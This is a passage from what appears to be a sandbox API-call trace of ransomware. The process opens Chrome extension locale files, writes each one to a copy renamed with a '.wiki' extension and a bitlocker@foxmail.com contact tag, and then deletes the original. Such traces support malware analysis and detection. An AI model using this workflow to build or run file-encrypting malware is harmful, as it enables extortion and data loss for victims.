HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString=".zip") returned 4 [0174.535] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".rar") returned 4 [0174.535] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".bz2") returned 4 [0174.535] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.535] lstrlenW (lpString=".7z") returned 3 [0174.535] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString=".dbf") returned 4 [0174.535] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString=".1cd") returned 4 [0174.535] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 153 [0174.535] lstrlenW (lpString=".jpg") returned 4 [0174.536] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.536] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.536] lstrlenW (lpString="messages.json") returned 13 [0174.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.536] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=159) returned 1 [0174.536] CloseHandle (hObject=0x1ac) returned 1 [0174.536] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json")) returned 0x2020 [0174.536] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.537] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.537] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.537] GetLastError () returned 0x0 [0174.537] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x9f, lpOverlapped=0x0) returned 1 [0174.538] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0174.539] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.539] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.539] SetEndOfFile (hFile=0x19c) returned 1 [0174.539] CloseHandle (hObject=0x19c) returned 1 [0174.539] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.540] SetEndOfFile (hFile=0x1ac) returned 1 [0174.540] CloseHandle (hObject=0x1ac) returned 1 [0174.540] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.540] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json")) returned 1 [0174.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.541] lstrlenW (lpString=".doc") returned 4 [0174.541] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".docx") returned 5 [0174.541] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.541] lstrlenW (lpString=".pdf") returned 4 [0174.541] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".xls") returned 4 [0174.541] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".xlsx") returned 5 [0174.541] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.541] lstrlenW (lpString=".ppt") returned 4 [0174.541] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.541] lstrlenW (lpString=".zip") returned 4 [0174.541] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".rar") returned 4 [0174.541] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".bz2") returned 4 [0174.541] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.541] lstrlenW (lpString=".7z") returned 3 [0174.541] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString=".dbf") returned 4 [0174.542] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString=".1cd") returned 4 [0174.542] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString=".jpg") returned 4 [0174.542] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString=".doc") returned 4 [0174.542] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.542] lstrlenW (lpString=".docx") returned 5 [0174.542] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.542] lstrlenW (lpString=".pdf") returned 4 [0174.542] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.542] lstrlenW (lpString=".xls") returned 4 [0174.542] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.542] lstrlenW (lpString=".xlsx") returned 5 [0174.542] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.542] lstrlenW (lpString=".ppt") returned 4 [0174.542] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.542] lstrlenW (lpString=".zip") returned 4 [0174.542] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.542] lstrlenW (lpString=".rar") returned 4 [0174.542] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.542] lstrlenW (lpString=".bz2") returned 4 [0174.542] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.543] lstrlenW (lpString=".7z") returned 3 [0174.543] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.543] lstrlenW (lpString=".dbf") returned 4 [0174.543] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.543] lstrlenW (lpString=".1cd") returned 4 [0174.543] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 153 [0174.543] lstrlenW (lpString=".jpg") returned 4 [0174.543] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.543] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.543] lstrlenW (lpString="messages.json") returned 13 [0174.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.543] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.544] CloseHandle (hObject=0x1ac) returned 1 [0174.544] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json")) returned 0x2020 [0174.544] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.544] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.544] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.544] GetLastError () returned 0x0 [0174.545] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.545] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.546] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.546] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.547] SetEndOfFile (hFile=0x19c) returned 1 [0174.547] CloseHandle (hObject=0x19c) returned 1 [0174.547] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.547] SetEndOfFile (hFile=0x1ac) returned 1 [0174.548] CloseHandle (hObject=0x1ac) returned 1 [0174.548] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.548] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json")) returned 1 [0174.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.548] lstrlenW (lpString=".doc") returned 4 [0174.548] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.548] lstrlenW (lpString=".docx") returned 5 [0174.548] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.548] lstrlenW (lpString=".pdf") returned 4 [0174.548] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.549] lstrlenW (lpString=".xls") returned 4 [0174.549] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.549] lstrlenW (lpString=".xlsx") returned 5 [0174.549] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.549] lstrlenW (lpString=".ppt") returned 4 [0174.549] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.549] lstrlenW (lpString=".zip") returned 4 [0174.549] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.549] lstrlenW (lpString=".rar") returned 4 [0174.549] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.549] lstrlenW (lpString=".bz2") returned 4 [0174.549] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.549] lstrlenW (lpString=".7z") returned 3 [0174.549] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.549] lstrlenW (lpString=".dbf") returned 4 [0174.549] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.549] lstrlenW (lpString=".1cd") returned 4 [0174.549] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.549] lstrlenW (lpString=".jpg") returned 4 [0174.549] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.550] lstrlenW (lpString=".doc") returned 4 [0174.550] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".docx") returned 5 [0174.550] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.550] lstrlenW (lpString=".pdf") returned 4 [0174.550] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".xls") returned 4 [0174.550] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".xlsx") returned 5 [0174.550] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.550] lstrlenW (lpString=".ppt") returned 4 [0174.550] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.550] lstrlenW (lpString=".zip") returned 4 [0174.550] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".rar") returned 4 [0174.550] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".bz2") returned 4 [0174.550] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.550] lstrlenW (lpString=".7z") returned 3 [0174.550] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.550] lstrlenW (lpString=".dbf") returned 4 [0174.550] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.550] lstrlenW (lpString=".1cd") returned 4 [0174.551] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.551] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 153 [0174.551] lstrlenW (lpString=".jpg") returned 4 [0174.551] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.551] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.551] lstrlenW (lpString="messages.json") returned 13 [0174.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.551] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.551] CloseHandle (hObject=0x1ac) returned 1 [0174.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0174.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 